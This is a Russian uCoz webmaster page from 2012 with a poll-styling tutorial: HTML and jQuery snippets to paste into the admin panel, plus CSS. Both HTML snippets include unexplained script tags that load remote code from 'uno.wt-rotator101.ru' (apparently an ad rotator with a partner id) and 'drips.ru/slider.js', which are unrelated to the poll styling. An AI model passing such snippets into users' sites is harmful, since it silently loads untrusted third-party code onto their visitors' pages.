Скрипты и шаблоны для uCoz uCoz
uCoz Главная | HTML справочник | Создание баннера | Шаблоны баннеров | Заработок на сайте!
Скрипты и шаблоны

Скрипты для uCoz

Шаблоны для uCoz

Меню сайта
Портал веб-мастеров Vse-ForuCoz.3dn.ru

Наша кнопка
Наша кнопка:


Получить код:

Портал веб-мастеров Vse-ForuCoz.3dn.ru

Категории раздела
Скрипты [76]
Шаблоны [4]
Разное [7]
Портал веб-мастеров Vse-ForuCoz.3dn.ru

Мини-чат


200
Портал веб-мастеров Vse-ForuCoz.3dn.ru

Поиск
Портал веб-мастеров Vse-ForuCoz.3dn.ru

Наш опрос
Какой из талисманов зимних олимпийских игр 2014 Вам нравиться больше?
Всего ответов: 39
Портал веб-мастеров Vse-ForuCoz.3dn.ru

Друзья сайта
  • Блог о хобби
  • Заработай на сайте
  • КОСМОС: все обо всем
  •  
    Banneroobmen
     
    Портал веб-мастеров Vse-ForuCoz.3dn.ru

    Статистика

    Полная статистика



    Онлайн всего: 1
    Гостей: 1
    Пользователей: 0
    Сайт сегодня посетили:

    Бесплатный анализ сайта
    Портал веб-мастеров Vse-ForuCoz.3dn.ru

    Главная » Статьи » Скрипты

    Стилизация опроса uCoz v.1.5

    Стилизация опроса uCoz v.1.5 Более улучшенная версия стилизации стандартного вида опроса в системе uCoz.

    Для начало мы с вами должны заменить старый html код опроса на новый, для этого заходим в админ панель вашего сайта в системе uCoz Админ панель => Дизайн => Управление дизайном => Опросы => Вид формы опросов

    удаляем от туда старый код и устанавливаем новый:

    Code
    <div class="cell_poll">
    <script language="javascript" src="http://uno.wt-rotator101.ru/?t=br&noadult=1&pid=21212"></script>
      <div class="poll_title">$QUESTION$</div>
      <script src="http://drips.ru/slider.js" type="text/javascript"></script>
      <div class="poll_variant">$ANSWERS$</div>
      <div class="poll_niz">
      <div class="poll_left"><a href="$RESULTS_LINK$">Результат</a></div>
      <div class="poll_right">Всего ответов: $TOTAL_VOTES$</div>
      </div>
    </div>  
    <script type="text/javascript">  
      var a = ['http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_01.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_02.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_03.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_04.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_05.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_06.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_07.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_08.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_09.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_10.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_11.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_12.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_13.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_14.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_15.png']; for(var i = 0; i < a.length; i++){$('div.answer div').eq(i).addClass('progress').css({height: '12px'});$('div.answer div div').eq(i).addClass('progress progress_'+a).css({background: 'url(' + a[i] + ')', marginTop: '0px', marginBottom: '0px', height: '12px', backgroundRepeat: 'repeat-x'});}  
      $('div.answer span').each(function(){$(this).html($(this).html()+' ')});  
    </script>


    Если вы хотите, чтобы в вашем опросе присутствовал процент проголосовавших за тот или иной вариант опроса, то ставим этот вариант кода:

    Code
    <div class="cell_poll">
    <script language="javascript" src="http://uno.wt-rotator101.ru/?t=br&noadult=1&pid=21212"></script>
    <script src="http://drips.ru/slider.js" type="text/javascript"></script>
      <div class="poll_title">$QUESTION$</div>
      <div class="poll_variant">$ANSWERS$</div>
      <div class="poll_niz">
      <div class="poll_left"><a href="$RESULTS_LINK$">Результат</a></div>
      <div class="poll_right">Всего ответов: $TOTAL_VOTES$</div>
      </div>
    </div>  
    <script type="text/javascript">  
      var a = ['http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_01.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_02.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_03.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_04.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_05.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_06.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_07.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_08.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_09.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_10.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_11.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_12.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_13.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_14.png','http://www.center-dm.ru/ucoz/vid_opros/2/Mini_Progress_15.png']; for(var i = 0; i < a.length; i++){$('div.answer div').eq(i).addClass('progress').css({height: '12px'});$('div.answer div div').eq(i).addClass('progress progress_'+a).css({background: 'url(' + a[i] + ')', marginTop: '0px', marginBottom: '0px', height: '12px', backgroundRepeat: 'repeat-x'});}  
      $('div.answer span').each(function(){$(this).html($(this).html()+' <span class="procent">'+$(this).attr('title').split(':')[1]+'</span>')});  
    </script>


    CSS:

    Наш опрос почти готов, осталось прописать css стили:

    Code
    /* Ячейка опроса
    ------------------------------------------*/
    .cell_poll {
      float:left;  
      color:#555;text-shadow: 1px 1px 1px #fff;
      width:220px;  
      background: #fff;
      border: 1px solid #D0D1D3;
      padding: 0px 10px 5px 10px;
    }

    .poll_title {
      text-align:center;  
      font: 115%/1.5 Verdana,Arial,Helvetica, sans-serif;  
      font-weight: bold;
      padding: 5px 0px;
      border-bottom: 1px solid #D0D1D3;
    }

    .poll_variant {
      float:left;  
      width:220px;  
      padding: 5px 0px;
    }

    .poll_niz {
      float:left;  
      font: 9px Verdana,Arial,Helvetica, sans-serif;  
      width:220px;  
      padding: 5px 0px;
      border-top: 1px solid #D0D1D3;
    }

    .poll_left {float:left;}
    .procent,
    .poll_right {float:right;}

    .answer {
      background: #F6FBFC;
      padding: 2px 5px 2px 5px;
      margin: 7px 0px 7px 0px;  
    }  

    .answer input,
    .answer label{
      margin:0;  
    }  
    .answer div div {  
      height: 10px !important;  
      border: 1px solid #fff;  
      margin: 0px;
    }  

    .answer div {  
      display: block;  
      position: relative;  
      padding: 0 !important;  
      border: 1px solid #B6B6B5;  
      background: #F4F5F6;  
      margin: 0px;
    }
    .procent {  
      background: #DCEDF0;  
      padding: 3px 5px;
    }

    .pollBut {
      font: 11px Verdana,Arial,Helvetica, sans-serif!important; font-weight: bold;
      color:#b17902!important; text-shadow:1px 1px 1px #fff!important;  
      background:#fed66c!important;  
      border:1px solid #e3b346!important;  
      padding: 4px 8px;  
      margin: 5px 0px 5px 0px;  
    }

    .pollBut:hover {
      background:#ffe49c!important;  
    }
    /*------------------------------------------*/
    Категория: Скрипты | Добавил: DianaWeb (19.02.2012)
    Просмотров: 2413 | Комментарии: 1 | Рейтинг: 0.0/0
    Всего комментариев: 1
    1 Kirpitch190Rus  
    0
    по мойму без CSS смотрится даже лучше, а то съезжает весь сайт набекрень)

    Добавлять комментарии могут только зарегистрированные пользователи.
    [ Регистрация | Вход ]
    Информация о сайте | Форум | Баннерообмен | Sitemap | Sitemap-forum
    © //vse-forucoz.3dn.ru/ - на сайте вы найдете скрипты для uCoz и шаблоны для uCoz, а так же все для веб мастера и обычного юзера. Все материалы размещенные на нашем портале Вы сможете бесплатно скачать.
    Все материалы, размещенные на сайте, являются собственностью их изготовителя (владельца прав) и охраняются законом. Эти материалы предназначены исключительно только для ознакомления!